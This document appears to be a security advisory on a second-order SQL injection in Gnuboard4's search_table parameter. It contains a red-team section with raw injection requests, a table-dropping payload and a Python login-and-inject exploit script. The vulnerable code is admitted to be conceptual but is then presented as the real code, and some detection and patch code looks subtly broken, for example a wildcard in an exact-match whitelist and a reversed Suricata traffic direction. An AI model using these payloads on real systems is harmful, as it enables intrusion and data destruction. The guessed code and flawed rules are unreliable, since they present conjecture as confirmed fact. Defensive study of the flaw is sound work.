CVE-2025-61464

Executive Summary

CVE-2025-61464 is a Second-order SQL Injection vulnerability discovered in Gnuboard4, a popular Korean open-source bulletin board system. The flaw resides in the bbs/search.php file, specifically within the search_table parameter. An attacker with low privileges can inject malicious SQL payloads that are stored in the database and later executed unsafely, leading to data exfiltration, modification, or complete database compromise. The vendor, Gnuboard, has not yet released a patch, leaving all versions up to and including v4.36.04 exposed. This vulnerability is particularly dangerous because it bypasses typical first-order input sanitization by storing the payload for later execution.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Gnuboard4 PHP application. However, organizations using Gnuboard4 as part of a larger web stack should treat this as a critical supply chain risk, as the application is often deployed as a standalone CMS or forum.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account to inject the initial payload.
• User Interaction (UI): None (N) – The attack does not require any action from another user.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Database records can be modified or deleted.
• Availability (A): High (H) – An attacker could drop tables or cause denial of service.

CVSS Score: 8.8 (High) – This reflects the ease of exploitation and the severe impact on data security.

Deep Dive & Mechanics

The vulnerability is a classic second-order SQL injection. The flow is as follows:

1. First Order (Storage): An attacker with a low-privileged account submits a search query via bbs/search.php. The search_table parameter is used to specify which table to search. The application does not properly sanitize this parameter before storing it in the database (e.g., in a user profile or session data).
2. Second Order (Execution): When a subsequent request (e.g., viewing search history or a report) retrieves and uses this stored value without proper escaping, the malicious SQL payload is executed against the database.

The vulnerable code in bbs/search.php likely looks like this:

// Vulnerable code (conceptual)
$search_table = $_POST['search_table'];
// Stored without sanitization
$sql = "INSERT INTO search_log (user_id, search_table) VALUES ('$user_id', '$search_table')";
mysqli_query($conn, $sql);

Later, when the log is retrieved:

// Vulnerable retrieval
$result = mysqli_query($conn, "SELECT search_table FROM search_log WHERE user_id='$user_id'");
$row = mysqli_fetch_assoc($result);
$table = $row['search_table'];
// Unsafe execution
$sql2 = "SELECT * FROM $table WHERE ...";
mysqli_query($conn, $sql2);

An attacker can inject a payload like users; DROP TABLE users; -- into the search_table parameter. This is stored, and when the second query runs, it becomes:

SELECT * FROM users; DROP TABLE users; -- WHERE ...

This results in the users table being dropped.

Vulnerable vs. Patched Code

Vulnerable Code (Gnuboard4 <= 4.36.04):

// bbs/search.php (vulnerable)
$search_table = $_POST['search_table'];
// No sanitization before storage
$sql = "INSERT INTO g4_search_log (mb_id, search_table) VALUES ('{$member['mb_id']}', '$search_table')";
sql_query($sql);

// Later retrieval and execution
$result = sql_query("SELECT search_table FROM g4_search_log WHERE mb_id='{$member['mb_id']}'");
$row = sql_fetch_array($result);
$table = $row['search_table'];
$search_sql = "SELECT * FROM $table WHERE ...";
$result2 = sql_query($search_sql);

Patched Code (Hypothetical Fix):

// bbs/search.php (patched)
$search_table = $_POST['search_table'];
// Sanitize: allow only alphanumeric and underscores
if (!preg_match('/^[a-zA-Z0-9_]+$/', $search_table)) {
    die('Invalid table name');
}
// Use prepared statements for storage
$stmt = sql_prepare("INSERT INTO g4_search_log (mb_id, search_table) VALUES (?, ?)");
sql_bind_param($stmt, 'ss', $member['mb_id'], $search_table);
sql_execute($stmt);

// Use parameterized queries for retrieval
$stmt2 = sql_prepare("SELECT search_table FROM g4_search_log WHERE mb_id=?");
sql_bind_param($stmt2, 's', $member['mb_id']);
sql_execute($stmt2);
$result = sql_get_result($stmt2);
$row = sql_fetch_array($result);
$table = $row['search_table'];
// Whitelist allowed tables
$allowed_tables = ['g4_board', 'g4_member', 'g4_write_*'];
if (!in_array($table, $allowed_tables)) {
    die('Invalid table');
}
$search_sql = "SELECT * FROM $table WHERE ...";
$result2 = sql_query($search_sql);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A low-privileged user account on the Gnuboard4 instance.
• Network access to the web application.

Exploitation Steps:

1. Inject the Payload: Send a POST request to bbs/search.php with a malicious search_table parameter.

   POST /bbs/search.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: PHPSESSID=attacker_session
   
   search_table=users; SELECT 1,2,3 FROM information_schema.tables; -- &search_keyword=test
   

2. Trigger the Second Order: Access a page that retrieves and executes the stored search table, such as a search history or admin report.

   GET /bbs/search_history.php HTTP/1.1
   Host: target.com
   Cookie: PHPSESSID=attacker_session
   

3. Extract Data: The injected SQL will execute, allowing data extraction via error-based or blind SQL injection techniques.

Automated Exploit (Python):

import requests

target = "http://target.com/bbs/search.php"
session = requests.Session()

# Login first
login_data = {"mb_id": "attacker", "mb_password": "password"}
session.post("http://target.com/bbs/login_check.php", data=login_data)

# Inject payload
payload = "users; SELECT @@version; --"
data = {"search_table": payload, "search_keyword": "test"}
session.post(target, data=data)

# Trigger second order
response = session.get("http://target.com/bbs/search_history.php")
print(response.text)

Blue Team

Detection:

• Monitor for unusual search_table parameters containing SQL keywords (SELECT, UNION, DROP, etc.).
• Alert on multiple failed login attempts followed by search activity from the same IP.
• Look for database errors in logs that indicate malformed SQL queries.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/bbs/search.php"
| rex field=form_data "search_table=(?<search_table>[^&]+)"
| where match(search_table, "(?i)(SELECT|UNION|DROP|INSERT|UPDATE|DELETE|--|#)")
| stats count by src_ip, search_table

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /bbs/search.php with search_table containing SQL keywords.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified bbs/search.php file (if attacker uploads a webshell).
  • Suspicious entries in g4_search_log table with non-standard table names.
• Behavioral IOCs:
  • Low-privileged user accounts performing searches on system tables (e.g., information_schema).
  • Sudden increase in database query errors from the web application.

Detection Engineering

YARA Rule

rule CVE_2025_61464_Second_Order_SQLi {
    meta:
        description = "Detects second-order SQL injection attempts in Gnuboard4 search logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61464"
    strings:
        $sqli1 = /search_table=[^&]*(SELECT|UNION|DROP|INSERT|UPDATE|DELETE|--|#)/i
        $sqli2 = /search_table=[^&]*\b(OR|AND)\b[^&]*=/i
        $sqli3 = /search_table=[^&]*\b(LOAD_FILE|INTO OUTFILE|INTO DUMPFILE)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-61464 - Gnuboard4 Second-Order SQL Injection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts via the search_table parameter in Gnuboard4
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "search_table="
    keywords:
        - "SELECT"
        - "UNION"
        - "DROP"
        - "INSERT"
        - "UPDATE"
        - "DELETE"
        - "--"
        - "#"
    condition: selection and keywords
falsepositives:
    - Legitimate use of table names containing these words (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-61464 - Gnuboard4 Second-Order SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/bbs/search.php"; http_uri;
    content:"search_table="; http_client_body;
    pcre:"/(SELECT|UNION|DROP|INSERT|UPDATE|DELETE|--|#)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Search Logging: If not required, disable the search logging feature in Gnuboard4 configuration.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL keywords in the search_table parameter.
3. Input Validation: Implement strict input validation for the search_table parameter, allowing only alphanumeric characters and underscores.

Long-Term Fix:

• Upgrade to a patched version of Gnuboard4 once released.
• Apply the hypothetical patch described in the "Vulnerable vs. Patched Code" section.
• Use parameterized queries (prepared statements) for all database interactions.

Workaround:

• Modify bbs/search.php to use a whitelist of allowed table names instead of accepting user input.

Valters IT